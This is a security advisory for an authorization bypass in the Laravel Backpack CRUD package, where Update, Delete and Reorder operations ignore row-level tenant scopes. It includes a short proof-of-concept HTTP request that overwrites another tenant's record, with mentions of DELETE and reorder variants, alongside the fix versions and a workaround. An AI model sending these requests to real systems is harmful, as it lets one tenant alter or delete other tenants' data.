CVE-2026-54180: Laravel Backpack CRUD Cross-Tenant IDOR on Write Operations
An authenticated user of any privilege level can update, delete, or reorder records belonging to other tenants by simply guessing or knowing a record's numeric ID, bypassing any row-level access…

The problem
Backpack CRUD lets developers restrict which rows a user may see by registering query scopes via addClause() or addBaseClause(). These scopes are correctly applied on List and Show operations.
However, the Update, Delete, and Reorder operations resolved records using a bare, unscoped Model::find($id) lookup. Any authenticated user who knows a record's primary key could therefore edit or delete it, even if that record belongs to another tenant or user.
Proof of concept
A working proof-of-concept for CVE-2026-54180 in backpack/crud, with the exact payload below.
# Tenant A is authenticated. Record ID 42 belongs to Tenant B.
# The CRUD panel uses addBaseClause('where', 'tenant_id', '=', auth()->id())
# to isolate rows, but the update route ignores that scope.
# Step 1: submit an edit form for a record you are NOT allowed to see
PUT /admin/articles/42
Content-Type: application/x-www-form-urlencoded
_token=VALID_CSRF_TOKEN&title=Pwned+by+Tenant+A&body=...
# The server resolves the entry with Model::find(42) instead of
# the scoped query, so it succeeds and saves Tenant B's record.
# Same technique applies to DELETE /admin/articles/42
# and POST /admin/articles/reorder with arbitrary IDs in the payload.Before the fix, the Update, Delete, and Reorder trait methods called Model::find($id) (or equivalent) directly, bypassing the baseQuery that holds all registered addClause/addBaseClause constraints. The patch (PR #5991 for v7, PR #5994 for v6) changed those code paths to resolve entries through the same scoped query builder that the List and Show operations already used.
The root cause maps to CWE-639 (Authorization Bypass Through User-Controlled Key) and CWE-863 (Incorrect Authorization): the application trusted the client-supplied primary key to uniquely authorize access, without re-applying the developer-defined row-level filters.
No public PoC exists; this payload is derived from the advisory description and the patch change (switching to the scoped query).
The fix
Upgrade to backpack/crud >= 6.8.14 (v6 branch) or >= 7.0.38 (v7 branch). If an immediate upgrade is not possible, add explicit Gate or Policy checks inside your CrudController's update(), destroy(), and reorder() methods to verify the authenticated user owns the resolved record before acting on it.
Reported by Vishal Shukla.
Related research
- high · 8.1CVE-2026-54178CVE-2026-54178: Backpack CRUD Arbitrary File Deletion via Unvalidated clear_<attr>[] Input
- high · 7.6CVE-2026-54175CVE-2026-54175: Laravel Backpack CRUD Unverified Password Change via Mass Assignment
- high · 8.1CVE-2026-54182CVE-2026-54182: backpack/crud OS Command Injection via Host Header
- high · 8.1Poweradmin: IDOR Broken Access Control in DNS Record Edit